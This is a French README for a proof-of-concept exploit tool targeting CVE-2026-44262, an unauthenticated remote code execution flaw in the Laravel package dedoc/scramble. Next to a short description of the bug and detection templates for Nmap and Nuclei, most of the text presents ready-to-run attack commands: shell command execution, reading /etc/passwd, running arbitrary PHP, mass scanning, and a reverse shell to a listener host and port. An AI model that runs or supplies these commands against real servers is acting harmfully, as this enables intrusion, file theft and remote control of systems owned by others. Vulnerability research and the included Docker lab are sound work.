PoC de RCE dedoc/scramble (CVE-2026-44262)

📜 Description

CVE-2026-44262 est une vulnérabilité d'exécution de code à distance non authentifiée dans dedoc/scramble, un générateur de documentation d'API Laravel.

NodeRulesEvaluator::doEvaluateExpression() appelle extract($variables) avant eval("return $code;"). Lorsqu'un contrôleur assigne $request->input() à une variable nommée $code et l'utilise comme règle de validation, Scramble suit cette variable et la passe dans la portée d'eval. Un attaquant peut écraser $code avec du PHP arbitraire en fournissant un paramètre de requête malveillant sur /docs/api.json.

Versions affectées : dedoc/scramble >=0.13.2, <0.13.22

✨ Fonctionnalités

• Détection automatique — Scanne la spécification OpenAPI pour découvrir automatiquement les paramètres vulnérables
• Sonde temporelle — Vérification sûre et non intrusive utilisant sleep() pour confirmer l'exécution de l'eval
• Exécution de commandes — Exécute des commandes shell et capture la sortie directement depuis la réponse HTTP
• Lecture de fichiers — Lit des fichiers arbitraires du système de fichiers cible
• Exécution de code PHP — Exécute du code PHP brut via la RCE
• Reverse shell — Reverse shell PHP proc_open, sans nécessiter bash ou busybox
• Scan en masse — Scanne plusieurs cibles à partir d'un fichier
• Détection d'OS — Détecte automatiquement Windows/Linux/Darwin et ajuste les charges utiles en conséquence
• Nmap NSE — Script de détection passive + temporelle (http-scramble-rce-detect.nse)
• Modèle Nuclei — Détection en deux étapes avec confirmation temporelle (CVE-2026-44262.yaml)

🛠️ Installation

Aucune dépendance externe — utilise uniquement la bibliothèque standard Python.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ Utilisation

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

Détection

# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt

Exploitation

# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap et Nuclei (passif + temporel, sans exploitation)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Laboratoire Docker

Un environnement Docker autonome avec l'application vulnérable (dedoc/scramble v0.13.21) est inclus. Voir docker/DOCKER.md pour plus de détails.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 Références

• dedoc/scramble
• GitHub Advisory — GHSA-4rm2-28vj-fj39
• NVD — CVE-2026-44262
• HackIndex.io — CVE-2026-44262

📢 Avertissement

Cet outil est fourni à des fins éducatives et de recherche uniquement. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.